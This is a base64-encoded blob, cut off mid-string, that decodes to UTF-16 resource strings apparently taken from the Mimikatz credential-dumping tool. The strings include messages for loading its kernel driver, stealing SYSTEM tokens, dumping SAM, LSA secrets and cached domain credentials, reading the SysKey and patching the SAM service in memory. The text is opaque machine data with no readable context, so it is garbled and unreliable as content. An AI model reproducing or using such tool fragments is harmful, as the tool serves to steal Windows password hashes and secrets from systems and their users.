IAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAAAAbQBpAG0AaQBkAHIAdgAuAHMAeQBzAAAAbQBpAG0AaQBkAHIAdgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQQBiAHMAbwBsAHUAdABlAFAAYQB0AGgATwBmACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAEMATQBhAG4AYQBnAGUAcgAoAGMAcgBlAGEAdABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwByAGUAbQBvAHYAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAgACoAIAB0AG8AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABhAGwAbAAgACcAYwBtAGQAJwAgAGEAbgBkACAAJwBtAGkAbQBpAGsAYQB0AHoAJwAgAHAAcgBvAGMAZQBzAHMACgAAAEQAYQB0AGEAAAAAAEcAQgBHAAAAUwBrAGUAdwAxAAAASgBEAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAEEAcwBrACAAUwBBAE0AIABTAGUAcgB2AGkAYwBlACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAHMAYQBtAHIAcABjAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAYwBhAGMAaABlAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAYQBtAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAABsAHMAYQBkAHUAbQBwAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAAAlAHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAABTAHkAcwBLAGUAeQAgADoAIAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABTAEEATQBcAEQAbwBtAGEAaQBuAHMAXABBAGMAYwBvAHUAbgB0AAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFYAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAIABLAE8ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMAQQBNACAAQQBjAGMAbwB1AG4AdABzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AVABMAE0AAAAAAEwATQAgACAAAAAAACUAcwAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AEEAUgBDADQAAAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAQQBSAEMANAAgAEsATwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAFAAbwBsAGkAYwB5AAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAABQAG8AbABTAGUAYwByAGUAdABFAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5AAAAAABMAFMAQQAgAEsAZQB5ACgAcwApACAAOgAgACUAdQAsACAAZABlAGYAYQB1AGwAdAAgAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAACgBTAGUAYwByAGUAdAAgACAAOgAgACUAcwAAAF8AUwBDAF8AAAAAAEMAdQByAHIAVgBhAGwAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAACgAqACoATgBUAEwATQAqACoAOgAgAAAACgBjAHUAcgAvAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAQwBhAGMAaABlAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAAAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHAAYQB0AGMAaAAAAFMAYQBtAFMAcwAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAbgBhAG0AZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwBfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBuAGcAAAAAAGQAaQBzAGMAbwB2AGUAcgBpAG4AZwAAAGEAcwBzAG8AYwBpAGEAdABpAG4AZwAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGkAbgBnAAAAYQBkAF8AaABvAGMAXwBuAGUAdAB3AG8AcgBrAF8AZgBvAHIAbQBlAGQAAABjAG8AbgBuAGUAYwB0AGUAZAAAAG4AbwB0AF8AcgBlAGEAZAB5AAAAdwBpAGYAaQAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAABkAGUAdABvAHUAcgBzAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAdABhAHMAawBtAGcAcgAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAEMAbwBtAG0AYQBuAGQAIABQA